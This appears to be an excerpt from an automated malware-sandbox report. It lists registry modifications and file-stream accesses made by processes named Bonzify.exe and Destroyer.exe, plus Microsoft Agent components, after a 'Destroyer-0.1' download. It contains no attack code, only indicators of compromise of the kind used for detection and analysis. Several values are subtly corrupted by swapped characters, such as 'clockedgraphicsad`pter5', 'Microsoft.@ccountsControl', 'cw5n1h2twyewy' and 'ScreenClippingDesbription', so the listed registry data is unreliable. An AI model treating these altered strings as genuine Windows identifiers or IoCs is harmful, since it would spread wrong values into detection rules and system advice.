Set value (data)	\REGISTRY\USER\S-1-5-19\Control Panel\PowerCfg\PowerPolicies\0\Policies = 01000000020000000100000000000000020000000000000000000000000000002c0100003232000304000000040000000000000000000000b00400002c01000000000000580200000101645064640000	Bonzify.exe
Set value (data)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\IdentityCRL\Immersive\production\Property\001880129F0B02F9 = 0100000001000000d08c9ddf0115d1118c7a00c04fc297eb01000000cc71ff63e91faf4aa74743d78ee31e9e0000000002000000000010660000000100002000000054c9d337d2f56d097cd5db561843b714c1a80ade577cdddacf509b1159353c18000000000e8000000002000020000000ca81fb084c860d4eab7448f17591a7c68a456b7c14406fbf54f902f6b8942ee580000000de43497988a5eee54630d1d4b1202c4699f6c39c92a31c660c57703000550ff90ac12b60a77f6ddd6e6f05113e527f259180aa341511e9912095942a774e2fcda5c26db2216f78bb560b86c2fb7eca48bed6293af9001da20b4c923d70493e60931e6294d264722e6356d0e4d55b2a302a6b570dcdf544d162daa1fa364bd726400000008ff7a1995f7249f57092fd144509b73fd211fce13075445172df6e6edf5d33cd88632948119c52f1f9d9fca672cbf29d484db0533b423a65212d35a78d422720	Bonzify.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Control Panel\Desktop\UserPreferencesMask = 9e3e038011000000	Destroyer.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\AppEvents\EventLabels\Notification.Looping.Alarm10\DispFileName = "@mmres.dll,-5897"	Destroyer.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize\EnableTransparency = "1"	Destroyer.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\officeclicktorun\ConfigIds = "std::wstring\|P-R-1098158-1-5,P-R-76757-1-2,P-R-54903-1-3,P-R-26146-7-17,P-D-29635-1-1,P-D-27087-1-9,P-R-79688-1-3,P-R-53532-1-5,P-R-51436-1-6,P-R-51427-18-12,P-R-40464-18-9,P-X-98518-6-9,P-R-38390-18-21,clockedgraphicsad`pter5:475899,P.R-35099-2-4,P-R-61408-18-3,P-R-55746-2-5,P-R-53512-1-4,P-R-46974-18-18,P-R-38953-1-11,P-R-36551-18-18,P-R-71414-1-6,P-R-40253-6-19,P-R-40254-6-18,P-R-35401,6-7,P-R-32107-22-22,P-R-39146-14-15,P-R-39147-14-20,P-R-28546-6-11,P-R-28165-6-28,P-R-24:80-8-48,P-R-24390-5-12,P-R-18279-2-65,P-D-34200-4.5,P-R-51145-2-7,P-R-29928-2-20,P-R-67932-1-4,P-R-67201-1-4,P-R-64545-1-4,P-R-64035-1-4,P-R-53515-18-9,P-R-53280-1-6,P-R-52247-1-5,P-R-51958-1-5,P-R-51842-1-5,P-R-51277-2-6,P-R-47451-18-20,P-R-45919-18-19,P-R-45085-18-12,P-R-41442-18-18,P-R-38085-12-9,P-R-18744-6-22,P-D-34239-1-6,P-R-1034169-10-7,P-E-28677-C1-3,P-R-55122-8-8,P-R-50255-10-9,P-R-44907-1-9,P-R-45314-10-16,P-R-44965-C1-5,P-X-1240823-1-3,P-E-38231-C1-4,P-R-1245662-15-4,P-R-94560-14-12,P-R-94189-14-13,P-R-93882-14-26,P-R-54728-16-23,P-R-54698-16-16,P-R-54658-18-19,P-R-38306-18-3,P-R-35717-5-30,P-R-34019-4-3,win42devicecanary:541483,win32devicecanary:541483,P-X-53845-1-9,P-X-53772-1-3,P-X-51790-1-3,P,R-1025232-24-9,P-R-71358-1-4,P-R-70941-1-4,P-R-69065-1-3,P-R,67160-1-7,P-R-59781-1-4,P-R-55631-1-4,P-R,54215-1-4,P-R-53751-1-4,P-R-53752-1-4,P-R-53526-1-4,P-R-52110-1-4,P-R-49765-15-32,P-R-48818-17-25,P-R-50679-1-4,P-R-50486-18-12,P-R-44830-18-13,P-R-49416-4-14,P-R-48457-2-6,P-R-47974-16-18,P-R-36544-18-11,P-R-45609-14-6,P-R-45197-2-6-P-R-44046-18-11,P-R-44015-18-20,P-R-43723-2-6,P-R-41742-18-32,P-R-40980-18-16,P-R-40359-2-10,P-R-39029-5-18,P-R-38835-18-48,P-R-37676-28-46,P-R-36310-4-4,P-R-35945-10-5,P-R-35165-2-7,P-R-35143-4-4,P-R-33553-4-6,P-R-33536-12-13,P-R-29809-1-7,P-R-26968-3-9,P-R-18425-8-62,P-R-18426-5-30,P-R-18424-4-34,fiser190:377704,happy03172020-1:61977,happy02062020-0:28428,P-R-53545-4-5,P-R-50711-18-11,P-R-49736-6-22,P-R-48467-18-18,P.R-32106-7-33,P-R-30085-1-9,P-R-29138-38-83,P-R-29315-36-69,P-R-25009-1-8,P-R-24363-1-13,P-R-21631-10-64,P-R-19898-1-22,P-R-19814-1-62,P-R-19012-1-57,P-X-50220-1-3,P-X-49730-1-3,P-R-69347-1-5,P-R-64574-1-4,P-R-54116-1-4,P-R-53585-18-18,P-R-52594-18-5,P-R-52386-1-4,P-R-50980-2-4,P-R-50938-1-4,P-R-50152-18-20,P-R-49175-18-22,P-R-47260-18-23,P-R-44156-18-26,P-R-43284-18-19,P-R-43285-02-22,P-R-42482-1-4,P-R-40990-12-15,P-R-39333-18-28,P-R-35439-12-21,P-R-33215-18-19,P-R-31352-12-25,P-D-34269-2-5,gruse488:570358,grico406:19777,P-R-49830-18-15,P-R-40586-18-27,P-R-32996-18-24,P-D-40316-9-5,P-R-50429-18-8,P-R-1445924-8-6,P-R-65295-18-30,P-R-60861-1-4,P-R-61737-1-4,P-R-41777-18-8,P-R-50920-1-6,P-R-50366-18-19,P-R-35985-14-23,P-R-35891-18-5,P-R-32004-2-5,P-X-1276509-1-5,P-R-1280425-13-17,P-R-68336-2-4,P-R-67286-2-6,P-R-51513-2-4,i0d76970:598689,P-Q-79962-1-2,P-R-52043-1-3,P-R-51764-1-4,P-R-49388-2-6,P-R-48335-4-16,P-R-47308-3-9,P-R-42392-2-4,P-R-39073-1-5,P-R-1123376-10-14,P-R-1009855-12-14,P-R-98856-18-48,P-R-43489-30-15,P-R-38410-12-23,P-X-1291246-2-3,P-X-1019581-1-3,P-X-1006174-1-5,P-R-1565428-2-3,P-R-1249370-4-5,P-R-66436-1-4,P-R-62873-1-4,P-R-51097-1-5,P-R-50706-18-7,P-R-50055-18-7,P-R-49315-18-5,P-R-42660-18-35,P-R-36649-8-9,ch371179:601396,oemic639:397763,oeall843:375887,P-R-42379-2-3,P-R-42378-2-3,P-R-66539-1-4,P-R-66538-1-4,P-R-65278-1-4,P-R-65279-1-4,P-R-59180-1-4,P-R-48070-1-5,P-R-47386-1-4,P-R-55342-2-2,P-R-52377-2-6,P-R-52481-2-5,P-R-49759-2-8,P-R-46100-20-9,P-R-38510-2-10,P-R-37550-20-13,P-R-32186-C27-29,P-R-58135-2-4,P-R-56618-1-3,P-R-56027-1-4,P-R-45145-18-18,P-R-33892-1-8,P-R-33696-1-5,P-R-55749-1-4,P-R-53662-1-4,P-R-52246-1-4,P-R-52245-1-4,P-R-52238-1-5,P-R-43644-6-13,P-R-39912-1-2,P-R-39283-4-10,P-R-50380-18-18,P-R-50379-18-17,P-R-68146-1-5,P-R-63409-1-5,P-R-50542-18-14,P-R-50500-18-16,P-R-47365-18-24,P-R-48161-18-32,P-R-46597-1-4,O-R-33737-1-4,P-E-29662-2-3,P-R-29303-2-20,P-R-56654-2-4,P-R-51703-1-5,P-R-50133-2-9,P-R-47242-18-11,P-R-46410-1-5,P-R-45550-C17-46,P-R-45490-26-9,P-R-44885-18-20,P-R-42512-1-3,P-R-40169-8-13,P-R-32143-5-28,P-R-37313-18-22,P-R-36664-4-4,P-R-35476-2-5,P-R-35407-4-3,P-R-35237-14-11,P-R-35150-2-4,P.R-35129-2-4,P-R-35056-4-5,P-R-34889-8-4,P-R-34044-2-4,P-R-33718-6-5,P-R-33459-1-5,P-R-30292-4-9,P-R-28644-1-4,P-R-24037-1-7,P-R-23445-3-7,P-R-23434-3-7,P-R-18513-1-30,P-D-34699-4-4,P-D-34697-2-4,P-D-34675-1-4,P-D-34673-1-4,P-D-34654-1-4,P-D-34587-3-5,P-D-34266-1-4,P-D-34262-1-5,P-D-34260-1-5,P-D-34258-2-5,P-D-32465-1-5,P-D-32459-2-4,P-D-32458-5-4,P-X-1083427-2.5,P-R-69529-1-5,P-R-65011-1-3,P-R-53622-18-4,P-R-50541-2-7,P-R-49893-22-9,P-R-36932-2-13,jh8ab447:380633,P-R-69232-18-13,P-R-23681-2-7,P-D-32501-2-3,P-D-32501-2-3,P-D-32415-2-3,P-R-64513-18-11,P-R-51916-84-31,P-R-1557372-1-3,P-R-1551153-1-3,P-R-1236953-7-11,P-R-1547617-1-3,P-R-1479674-3-5,P-R-23746-32-46,P-R-38248-21-27,P-R-1286642-1-3,P-R-1280186-1-3,P-R-1267084-2-6,P-R-1258784-3-5,P-R-1245296-4-6,P-R-1157570-2-4,P-R-1132821-2-4,P-R-1119013-1-4,P-R-1098796-1-3,P-R-1094445-1-3,P-R-1080412-1-3,P-R-1069769-2-4,P-R-1068115-1-3,P-R-1045118-2-4,P-R-25269-14-20,P-R-1044408-1-3,P-R-1044141-7-9,P-R-1037887-1-3,P-R-1037879-1-3,P-R-1036293-1-3,P-R-1036292-1-3,P-R-1036289-2-4,P-R-1036288-1-3,P-R-1036068-2-4,P-R-1035933-2-4,P-R-1035149-2-4,P-R-1033817-1-3,P-R-1028168-1-3,P-R-1009717-3-5,P-R-1000061-2-4,P-R-117548-2-4,P-R-111682-1-3,P-R-105731-36-38,P-R-104435-13-15,P-R-100294-1-3,P-R-99633-1-3,P-R-98929-2-4,P-R-98250-1-3,P-R-94299-1-3,P-R-93077-1-3,P-R-86118-1-3,P-R-80517-7-9,P-R-78112-4-6,P-R-77140-2-4,P-R-76918-2-4,P-R-76721-1-3,P-R-75440-2-4,P-R-73676-1-3,P-S-72449-7-10,P-R-72030-4-6,P-R-68069-2-4,P-R-66975-1-3,P-R-65567-1-3,P-R-62212-2-4,P-R-60602-3-5,P-R-52633-1-3,P-R-52181-2-4,P-R-52011-2-4,P-R-51921-8-10,P-R-51258-8-10,P-R-50752-2-4,P-R-50681-2-4,P-R-50599-4-6,P-R-50596-4-8,P-R-50553-1-3,P-R-49597-3-5,P-R-49458-2-4,P-R-48530-7-9,P-R-47948-1-4+P-R-46580-3-5,P-R-46484-10-12,P-R-46122-1-3,P-R-45858-2-4,P-R-43966-2-4,P-R-43502-19-21,P-R-41430-1-3,P-R-41751-8-10+P-R-40273-4-6,P-R-39238-5-7,P-R-38682-3-5,P-R-37588-2-4,P-R-34355-8-10,P-R-26266-4-9,P-R-26834-3-8,P-R-24662-16-22,P-R-27479-6-11,P-R-26056-7-15,P-R-27006-7-12,P-R-30338-3-7,P-R-30178-79-81,P-R-30053-8-10,P-R-27458-1-5,P-R-25822-16-19,P-R-25083-6-9,P-R-24690-44-48,P-R-24689-2-5,P-R-24666-2-5,P-R-24663-6-11,P-R-24659-7-10,P-R-23744-7-9,P-R-23739-7-9,P-R-23736-14-17,P-R-23734-7-9,P-R-23730-21-24,P-R-23723,10-12,P-D-32588-1-3,P-D-32534-1-3,P-D-32524-1-3,P-D-32518-1-3,P.D-32512-1-3,P-D-32509-1-3,P-D-32485-1-4,P-D-32484-1-4,P-D-32406-1-3,P-R-1087141-4-7,P-R-49160-12-12,P-R-47601-18-13,P-R-46834-12-14,P-R-46202-18-11,P-R-44018-18-13,P-R-43355-18-12,P-R-35337-16-7,P-R-33916-1-5,P-R-33580-8-9,P-X-117400-1-3,P-R-59175-18-4,P-R-53292-14-10,P-R-49130-18-23,P-R-46913-18-8,P-R-37449-18-15,uxmediumiconluminance:353455,P-R-48549-18-11,P-R-19262-1-12,P-E-44774-2-9,P-R-44869-16-16,P-R-33918-1-11,P-R-1563945-1-8,P-R-1128630-1-7,P-R-1098412-1-5,P-R-1091267-1-57,P-R-81720-1-2,P-R-58406-1-5,P-D-50697-2-4,P-D-29719-1-1,P-D-29718-1-1,P-D-29593-1-6"	Bonzify.exe
Set value (str)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Speech\Preferences\AppCompatDisableMSAA\taskmgr.exe	Bonzify.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E\@%systemroot%\system32\spoolsv.exe,-1 = "Print Spooler"	Destroyer.exe
Set value (str)	\REGISTRY\USER\S-1-5-19\Control Panel\Desktop\Colors\Menu = "212 208 200"	Destroyer.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Console\%SystemRoot%_System32_WindowsPowerShell_v1.0_powershell.exe\QuickEdit = "1"	Destroyer.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E\@%SystemRoot%\system32\pnrpsvc.dll,-8000 = "Peer Name Resolution Protocol"	Destroyer.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CacheVersion = "1"	Destroyer.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\AppEvents\Schemes\Apps\sapisvr\HubSleepSound\.current\ = "%SystemRoot%\\media\\Speech Sleep.wav"	AgentSvr.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Console\ColorTable07 = "13421772"	Destroyer.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\CTF\SortOrder\Language\00000000 = "00000409"	Destroyer.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\https = "3"	Bonzify.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E\@appmgmts.dll,-3250 = "Application Management"	Bonzify.exe

Modifies registry class 64 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{F5BE8BE8-7DE6-11D0-91FE-00C04FD701A5}\TypeLib\ = "{F5BE8BC2-7DE6-11D0-91FE-00C04FD701A5}"	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{F5BE8BE3-7DE6-11D0-91FE-00C04FD701A5}\TypeLib\ = "{F5BE8BC2-7DE6-11D0-91FE-00C04FD701A5}"	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{F5BE8BDB-7DE6-11D0-91FE-00C04FD701A5}\TypeLib\Version = "2.0"	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{F5BE8BD4-7DE6-11D0-91FE-00C04FD701A5}\TypeLib\Version = "2.0"	regsvr32.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{D45FD31B-5C6E-11D1-9EC1-00C04FD7081F}\Control	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-976934595-4290022905-4081117292-1000_Classes\Extensions\ContractId\Windows.BackgroundTasks\PackageId\MicrosoftWindows.Client.CBS_1000.22000.493.0_x64__cw5n1h2txyewy\ActivatableClassId\Windows.Networking.BackgroundTransfer.Internal.B = "icon.png"	Destroyer.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{F5BE8BD1-7DE6-11D0-91FE-00C04FD701A5}\TypeLib\Version = "2.0"	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{D45FD300-5C6E-11D1-9EC1-00C04FD7081F}\ = "Microsoft Agent File Provider 2.0"	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Agent.Server\CurVer	AgentSvr.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{95A893C3-543A-11D0-AC45-00C04FD97575}\InprocServer32\ThreadingModel = "Apartment"	regsvr32.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{D45FD31D-5C6E-11D1-9EC1-00C04FD7081F}\InprocServer32	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{4BAC124B-78C8-11D1-B9A8-00C04FD97575}	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-976934595-4290022905-4081117292-1000_Classes\Extensions\ContractId\Windows.BackgroundTasks\PackageId\MicrosoftWindows.Client.CBS_1000.22000.493.0_x64__cw5n1h2txyewy\ActivatableClassId\Global.SnapLayout.AppXjzn3exz1kne447z536qwmqvrdm = "Global.SnapLayout"	AgentSvr.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-976934595-4290022905-4081117292-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Vid = "{137E7700-3573-11CF-AE69-08002B2E1262}"	explorer.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{F5BE8BD2-7DE6-11D0-91FE-00C04FD701A5}\MiscStatus\1	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{D7A6D440-8872-11D1-9EC6-00C04FD7081F}\ProxyStubClsid32	AgentSvr.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{08C75162-3C9C-11D1-91FE-00C04FD701A5}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	AgentSvr.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{D45FD31D-5C6E-11D1-9EC1-00C04FD7081F}	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{F5BE8BC2-7DE6-11D0-91FE-00C04FD701A5}\1.5\FLAGS\ = "4"	AgentSvr.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{D45FD31B-5C6E-11D1-9EC1-00C04FD7081F}\VersionIndependentProgID\ = "Agent.Control"	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{8B77181C-D3EF-11D1-8500-00C04FA34A14}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{F5BE8BDD-7DE6-11D0-91FE-00C04FD701A5}\TypeLib\ = "{F5BE8BC2-7DE6-11D0-91FE-00C04FD701A5}"	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{8563FF20-8ECC-11D1-B9B4-00C04FD97575}\TypeLib	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Agent.Character.2\DefaultIcon	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{98BBE491-2EED-11D1-ACAC-00C04FD97575}	AgentSvr.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{D45FD300-5C6E-11D1-9EC1-00C04FD7081F}\InprocServer32\ThreadingModel = "Apartment"	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{B8F2846E-CE36-11D0-AC83-00C04FD97575}\InprocServer32\ = "C:\\Windows\\lhsp\\tv\\tvenuax.dll"	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{A7B93C91-7B81-11D0-AC5F-00C04FD97575}\ProxyStubClsid32	AgentSvr.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-976934595-4290022905-4081117292-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-976934595-4290022905-4081117292-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-976934595-4290022905-4081117292-1000_Classes\Extensions\ContractId\Windows.BackgroundTasks\PackageId\Microsoft.Windows.Search_1.16.0.22000_neutral_neutral_cw5n1h2txyewy\ActivatableClassId\Windows.Networking.BackgroundTransfer.Intern = "4100"	Destroyer.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{F5BE8BE1-7DE6-11D0-91FE-00C04FD701A5}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{A7B93C92-7B81-11D0-AC5F-00C04FD97575}\TreatAs	AgentSvr.exe
Key created	\REGISTRY\USER\S-1-5-21-976934595-4290022905-4081117292-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	explorer.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{D45FD31D-5C6E-11D1-9EC1-00C04FD7081F}\InprocServer32\ = "C:\\Windows\\msagent\\AgentMPx.dll"	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-976934595-4290022905-4081117292-1000_Classes\Extensions\ContractId\Windows.Launch\PackageId\Microsoft.AccountsControl_10.0.22000.1_neutral__cw5n1h2txyewy\ActivatableClassId\App\Description = "@{Microsoft.@ccountsControl_10.0.22000.1_neutral__cw5n1h2twyewy?ms-resource://Microsoft.AccountsControl/Resources/Description}"	Destroyer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{A7B93C83-7B81-11D0-AC5F-00C04FD97575}\TypeLib	AgentSvr.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{D45FD31B-5C6E-11D1-9EC1-00C04FD7081F}	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{D45FD31B-5C6E-11D1-9EC1-00C04FD7081F}\MiscStatus	regsvr32.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.lwv	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{8563FF20-8ECC-11D1-B9B4-00C04FD97575}\ = "IAgentCtlEx"	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.acs\ = "Agent.Character2.2"	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-976934595-4290022905-4081117292-1000_Classes\Extensions\ContractId\Windows.Protocol\PackageId\Microsoft.Windows.XGpuEjectDialog_10.0.22000.1_neutral_neutral_cw5n1h2txyewy\ActivatableClassId\Microsoft.Windows.XGpuEjectDialog.AppX6pz4 = "ms-xgpueject"	Destroyer.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{B0913410-3B44-11D1-ACBA-00C04FD97575}\TypeLib\Version = "2.0"	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{D45FD31D-5C6E-11D1-9EC1-00C04FD7081F}	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{A7B93C92-7B81-11D0-AC5F-00C04FD97575}	AgentSvr.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{F5BE8BD2-7DE6-11D0-91FE-00C04FD701A5}\MiscStatus\1	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{D45FD2FC-5C6E-11D1-9EC1-00C04FD7081F}\LocalServer32	AgentSvr.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-976934595-4290022905-4081117292-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\MRUListEx = ffffffff	explorer.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Agent.Control\ = "Microsoft Agent Control 2.0"	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{F5BE8BD9-7DE6-11D0-91FE-00C04FD701A5}\TypeLib\ = "{F5BE8BC2-7DE6-11D0-91FE-00C04FD701A5}"	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{F5BE8BF0-7DE6-11D0-91FE-00C04FD701A5}\TypeLib\ = "{F5BE8BC2-7DE6-11D0-91FE-00C04FD701A5}"	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-976934595-4290022905-4081117292-1000_Classes\AppXbemgape21yns3k5pd4ah40jz06yq6xrk\Application\ApplicationDescription = "ms.resource:ScreenClippingDesbription"	Bonzify.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-976934595-4290022905-4081117292-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByDirection = "1"	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-976934595-4290022905-4081117292-1000_Classes\AppXe862j7twqs4aww05211jaakwxyfjx4da\Shell\open\PackageId = "Microsoft.MicrosoftEdge_44.22000.120.0_neutral__8wekyb3d8bbwe"	Destroyer.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{6BA90C00-3910-11D1-ACB3-00C04FD97575}\ = "IAgentCommandsEx"	AgentSvr.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{A7B93C8B-7B81-11D0-AC5F-00C04FD97575}\ = "IAgentPropertySheet"	AgentSvr.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-976934595-4290022905-4081117292-1000_Classes\Extensions\ContractId\Windows.BackgroundTasks\PackageId\Microsoft.Win32WebViewHost_10.0.22000.1_neutral_neutral_cw5n1h2txyewy\ActivatableClassId\DPI.SystemAware.AppX64ebpmrryzntbexxxw7yf7 = "@{Microsoft.Win32WebViewHost_10.0.22000.1_neutral_neutral_cw5n1h2txyewy?ms-resource://Windows.Win32WebViewHost/resources/Description}"	AgentSvr.exe
Key created	\REGISTRY\USER\S-1-5-21-976934595-4290022905-4081117292-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\WorkFolders	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-976934595-4290022905-4081117292-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff	explorer.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{A7B93C80-7B81-11D0-AC5F-00C04FD97575}\TypeLib\Version = "2.0"	AgentSvr.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{F5BE8BD2-7DE6-11D0-91FE-00C04FD701A5}\ProgID\ = "Agent.Control.1"	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-976934595-4290022905-4081117292-1000_Classes\Extensions\ContractId\Windows.BackgroundTasks\PackageId\Microsoft.DesktopAppInstaller_1.0.42251.0_x64__8wekyb3d8bbwe\ActivatableClassId\Windows.Networking.BackgroundTransfer.Internal.Back	Destroyer.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{8B77181C-D3EF-11D1-8500-00C04FA34A14}\TypeLib\ = "{F5BE8BC2-7DE6-11D0-91FE-00C04FD701A5}"	regsvr32.exe

NTFS ADS 64 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Downloads\Destroyer-0.1\Destroyer-0.1\OPENME:Zone.Identifier	explorer.exe
File opened for modification	C:\Users\Admin\Downloads\Destroyer-0.1\Destroyer-0.1\.scripts\ShutNet.cpp:Zone.Identifier	explorer.exe
File opened for modification	C:\Users\Admin\Downloads\Destroyer-0.1\Destroyer-0.1\.scripts\.python\C.py:Zone.Identifier	explorer.exe
File opened for modification	C:\Users\Admin\Downloads\Destroyer-0.1\Destroyer-0.1\.scripts\.python\C.spec:Zone.Identifier	explorer.exe
File opened for modification	C:\Users\Admin\Downloads\Destroyer-0.1\Destroyer-0.1\.scripts\.python\build\C\localpycs\pyimod03_ctypes.pyc:Zone.Identifier	explorer.exe
File opened for modification	C:\Users\Admin\Downloads\Destroyer-0.1\Destroyer-0.1\.scripts\.ui\build\main\localpycs\struct.pyc:Zone.Identifier	explorer.exe
File opened for modification	C:\Users\Admin\Downloads\Destroyer-0.1\Destroyer-0.1\.vscode\settings.json:Zone.Identifier	explorer.exe
File opened for modification	C:\Users\Admin\Downloads\Destroyer-0.1\Destroyer-0.1\debug.txt:Zone.Identifier	explorer.exe
File opened for modification	C:\Users\Admin\Downloads\Destroyer-0.1\Destroyer-0.1\.scripts\.ui\build\main\Tree-01.toc:Zone.Identifier	explorer.exe
File opened for modification	C:\Users\Admin\Downloads\Destroyer-0.1\Destroyer-0.1\CODE_OF_CONDUCT.md:Zone.Identifier	explorer.exe
File opened for modification	C:\Users\Admin\Downloads\Destroyer-0.1\Destroyer-0.1\.scripts\make_file.ps1:Zone.Identifier	explorer.exe
File opened for modification	C:\Users\Admin\Downloads\Destroyer-0.1\Destroyer-0.1\.scripts\.python\build\C\localpycs\pyimod02_importers.pyc:Zone.Identifier	explorer.exe
File opened for modification	C:\Users\Admin\Downloads\Destroyer-0.1\Destroyer-0.1\.scripts\.python\build\C\localpycs\struct.pyc:Zone.Identifier	explorer.exe
